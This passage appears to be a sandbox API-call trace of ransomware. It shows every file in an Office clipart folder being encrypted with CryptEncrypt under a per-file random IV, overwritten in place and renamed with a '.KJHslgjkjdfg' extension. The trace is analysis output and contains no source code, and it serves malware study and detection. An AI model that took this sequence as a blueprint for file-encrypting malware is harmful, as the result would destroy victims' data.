pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.768] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.768] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.768] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.769] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.769] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5754, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5754, lpOverlapped=0x0) returned 1 [0197.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5760, dwBufLen=0x5760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5760) returned 1 [0197.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.770] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5760, lpOverlapped=0x0) returned 1 [0197.771] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.771] SetEndOfFile (hFile=0x130) returned 1 [0197.774] GetProcessHeap () returned 0x2ef0000 [0197.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.774] GetProcessHeap () returned 0x2ef0000 [0197.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.kjhslgjkjdfg")) returned 1 [0197.775] CloseHandle (hObject=0x130) returned 1 [0197.775] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0197.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.776] GetProcessHeap () returned 0x2ef0000 [0197.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.777] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.777] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0197.779] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.779] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.779] GetProcessHeap () returned 0x2ef0000 [0197.779] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.779] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.779] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.779] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.779] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.779] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.779] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.780] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.780] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x55ba, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x55ba, lpOverlapped=0x0) returned 1 [0197.781] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x55c0, dwBufLen=0x55c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x55c0) returned 1 [0197.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.781] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x55c0, lpOverlapped=0x0) returned 1 [0197.782] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.782] SetEndOfFile (hFile=0x130) returned 1 [0197.784] GetProcessHeap () returned 0x2ef0000 [0197.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.785] GetProcessHeap () returned 0x2ef0000 [0197.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.kjhslgjkjdfg")) returned 1 [0197.788] CloseHandle (hObject=0x130) returned 1 [0197.788] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0197.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.789] GetProcessHeap () returned 0x2ef0000 [0197.789] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.789] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.789] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0197.791] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.791] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.791] GetProcessHeap () returned 0x2ef0000 [0197.791] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.791] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.791] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.791] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.792] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.792] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.792] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.792] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.792] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.792] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.792] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc53a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc53a, lpOverlapped=0x0) returned 1 [0197.793] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc540, dwBufLen=0xc540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc540) returned 1 [0197.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.794] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc540, lpOverlapped=0x0) returned 1 [0197.794] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.795] SetEndOfFile (hFile=0x130) returned 1 [0197.798] GetProcessHeap () returned 0x2ef0000 [0197.798] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.798] GetProcessHeap () returned 0x2ef0000 [0197.798] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.kjhslgjkjdfg")) returned 1 [0197.799] CloseHandle (hObject=0x130) returned 1 [0197.799] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0197.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.801] GetProcessHeap () returned 0x2ef0000 [0197.801] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.801] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.801] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0197.804] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.804] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.804] GetProcessHeap () returned 0x2ef0000 [0197.804] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.804] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.804] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.804] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.804] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.804] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.804] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.805] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.805] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.805] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.805] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xfcff, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xfcff, lpOverlapped=0x0) returned 1 [0197.807] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfd00, dwBufLen=0xfd00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfd00) returned 1 [0197.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.808] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xfd00, lpOverlapped=0x0) returned 1 [0197.808] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.808] SetEndOfFile (hFile=0x130) returned 1 [0197.811] GetProcessHeap () returned 0x2ef0000 [0197.811] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.811] GetProcessHeap () returned 0x2ef0000 [0197.811] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.kjhslgjkjdfg")) returned 1 [0197.813] CloseHandle (hObject=0x130) returned 1 [0197.813] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0197.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.814] GetProcessHeap () returned 0x2ef0000 [0197.814] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.814] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.814] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0197.815] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.815] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.816] GetProcessHeap () returned 0x2ef0000 [0197.816] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.816] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.816] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.816] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.816] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.816] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.816] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, 